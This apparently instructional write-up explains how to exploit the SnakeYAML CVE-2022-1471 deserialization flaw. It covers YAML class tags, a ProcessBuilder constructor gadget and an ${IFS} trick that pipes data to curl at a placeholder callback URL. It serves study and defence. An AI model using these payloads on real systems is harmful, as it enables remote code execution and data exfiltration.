SnakeYAML CVE-2022-1471
YAML deserialization
Serialization converts an in-memory object into data that can be stored or transmitted. Deserialization performs the reverse operation: it parses that data and creates in-memory objects from it.
SnakeYAML is a Java library that deserializes YAML text. Its load() method accepts YAML data and returns the Java object represented by that document. A YAML mapping contains key-value pairs and normally becomes a Java Map, an object comparable to a Python dictionary:
public void update(String updateConfig) {
InputStream yamlInput = new ByteArrayInputStream(updateConfig.getBytes());
Yaml yaml = new Yaml();
Map<String, Object> config = yaml.load(yamlInput);
}updateConfig is a Java String containing the YAML document. getBytes() converts the string into bytes. ByteArrayInputStream presents those bytes through Java’s stream-reading interface, and yaml.load(yamlInput) parses the stream and returns the reconstructed object.
The SnakeYAML version is defined by its Maven dependency:
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>
</dependency>Versions earlier than 2.0 are vulnerable to CVE-2022-1471. Version 2.0 is fixed.
A regular YAML mapping produces the object expected by the Java code:
mode: automatic
interval: 30The Java variable expects a Map, but affected SnakeYAML versions also allow the YAML document to request construction of a different Java class. Attacker control therefore extends beyond the values placed inside the expected map.
YAML tags and Java object construction
A YAML tag is type information attached to a YAML value. It tells the deserializer what kind of in-memory value to create. !! is YAML’s secondary tag prefix, while !!str is the complete tag identifying a string:
!!str 123This tells the YAML loader to create the string "123" instead of the integer 123.
Affected SnakeYAML versions extend this behavior by allowing a tag to contain a Java class name:
!!com.example.device.CommandGadgetThe full class name comes from the package declaration followed by the class name:
package com.example.device;
public class CommandGadget {
}package name: com.example.device
class name: CommandGadget
full name: com.example.device.CommandGadgetWhen the constructor accepts one string, place it after the class name:
!!<FULLY_QUALIFIED_CLASS_NAME> <STRING_ARGUMENT>Square brackets create a YAML list. SnakeYAML passes each list item as a separate constructor argument:
!!<FULLY_QUALIFIED_CLASS_NAME> ["<ARGUMENT_1>", "<ARGUMENT_2>"]The class must exist on the target classpath. The classpath is the collection of directories and JAR files in which the running Java application can locate compiled classes. The supplied YAML values must also match a constructor, which is the method Java calls when creating a new instance of that class.
Finding a gadget
CVE-2022-1471 provides control over which available class SnakeYAML constructs. It does not provide command execution on its own. A gadget is an existing class that turns this object-construction control into a useful primitive. Its constructor, a property setter, or another method called during construction must perform a security-relevant operation using attacker-controlled values.
An application-defined class can provide the complete gadget:
package com.example.device;
public class CommandGadget {
public static void execute(String value) throws IOException {
ProcessBuilder processBuilder = new ProcessBuilder(value.split("\\s+"));
Process process = processBuilder.start();
}
public void initiate(String value) {
try {
execute(value);
} catch (IOException e) {
System.out.println(e.getMessage());
}
}
public CommandGadget(String value) {
initiate(value);
}
}The execution path is visible directly in the class:
CommandGadget(String value)
-> initiate(value)
-> execute(value)
-> new ProcessBuilder(...)
-> processBuilder.start()The public constructor accepts the string from the YAML value and reaches ProcessBuilder.start().
Other useful gadgets can expose file, network, reflection, class-loading, or script-engine operations through constructors or setters.
Why ysoserial does not directly apply
Java native serialization and YAML are different input formats handled by different deserializers. ysoserial normally generates the binary Java serialization format consumed by sinks such as ObjectInputStream.readObject(). SnakeYAML’s Yaml.load() instead parses textual YAML and interprets YAML tags.
The exploitation primitive is therefore a SnakeYAML tag that selects a type already available on the target classpath. A ysoserial payload cannot be inserted directly into Yaml.load() as a replacement for the textual YAML document.
ProcessBuilder argument handling
ProcessBuilder receives the executable and its arguments as separate string elements. In this gadget, split("\\s+") creates the String[] passed to it:
new ProcessBuilder(value.split("\\s+"))ProcessBuilder runs the executable directly. It does not start Bash or another shell, so shell syntax is treated as an ordinary argument:
value:
echo $(id)
after split("\\s+"):
["echo", "$(id)"]
result:
$(id)$(id) is printed as text instead of being executed. Pipes, semicolons, substitutions, and redirections require an explicit shell:
new ProcessBuilder("sh", "-c", "<SHELL_COMMAND>")The gadget receives one string and applies split("\\s+") to produce the argument array. Shell quotes remain ordinary characters during that split and cannot preserve grouped arguments:
value:
sh -c "printf value"
after split("\\s+"):
["sh", "-c", "\"printf", "value\""]The command supplied to sh -c must remain the third array element. ${IFS} removes literal whitespace from that element until the shell starts:
value:
sh -c printf${IFS}<VALUE>${IFS}|${IFS}curl${IFS}-G${IFS}--data-urlencode${IFS}data@-${IFS}<CALLBACK_URL>
after split("\\s+"):
["sh", "-c", "printf${IFS}<VALUE>${IFS}|${IFS}curl${IFS}-G${IFS}--data-urlencode${IFS}data@-${IFS}<CALLBACK_URL>"]
sh -c receives:
printf${IFS}<VALUE>${IFS}|${IFS}curl${IFS}-G${IFS}--data-urlencode${IFS}data@-${IFS}<CALLBACK_URL>The shell expands ${IFS} into whitespace and then interprets the pipe. Here, ${IFS} keeps the complete shell command inside one array element until shell processing begins.
Find by: insecure deserialization, java deserialization, YAML deserialization, SnakeYAML, CVE-2022-1471, yaml load, unsafe constructor, YAML tag, secondary tag handle, double exclamation, fully qualified class name, FQCN, gadget, constructor side effect, ysoserial, ProcessBuilder, split whitespace, sh -c, IFS · Source: SnakeYAML advisory and API + YAML 1.2.2 specification + Java ProcessBuilder documentation + application-defined constructor gadget